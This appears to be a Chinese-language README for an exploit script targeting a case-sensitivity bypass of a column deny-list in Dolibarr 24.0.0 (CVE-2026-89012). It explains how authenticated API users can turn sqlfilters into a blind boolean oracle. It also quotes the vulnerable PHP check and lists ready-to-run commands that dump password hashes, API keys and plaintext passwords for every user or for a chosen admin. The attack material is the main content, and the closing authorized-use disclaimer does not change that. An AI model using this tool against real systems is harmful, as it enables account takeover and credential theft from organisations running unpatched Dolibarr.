针对 CVE-2026-89012 的漏洞利用:forgeSQLFromUniversalSearchCriteria() 中的禁用字段拒绝列表(随 CVE-2026-71510 修复引入)使用了区分大小写的 in_array(),而操作数字符集允许 A-Z。由于 SQL 列解析不区分大小写,经过身份验证的 API 用户可以查询 t.PASS_CRYPTED 而非 t.pass_crypted,从而绕过拒绝列表。前缀 LIKE 谓词将 sqlfilters 转变为盲布尔预言机,可逐字符恢复密码哈希。
记录:https://www.cve.org/CVERecord?id=CVE-2026-89012
| 受影响 | Dolibarr 24.0.0 |
| 已修复 | 24.0.1 |
| 前提条件 | 具有 users->lire 权限的有效 API 令牌 |
| 影响 | 泄露 pass_crypted、api_key、pass、pass_temp、openid |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
仅使用标准库(Python 3.8+)。支持 --proxy、--insecure、--timeout。
注意:在不区分大小写的排序规则(默认)下,bcrypt 值可精确恢复至字符大小写;明文列(通过 /api/index.php/members 访问的 llx_adherent.pass、pass_temp)可逐字节精确恢复。

仅用于授权测试和研究。仅可针对您拥有或已获得明确测试许可的系统使用。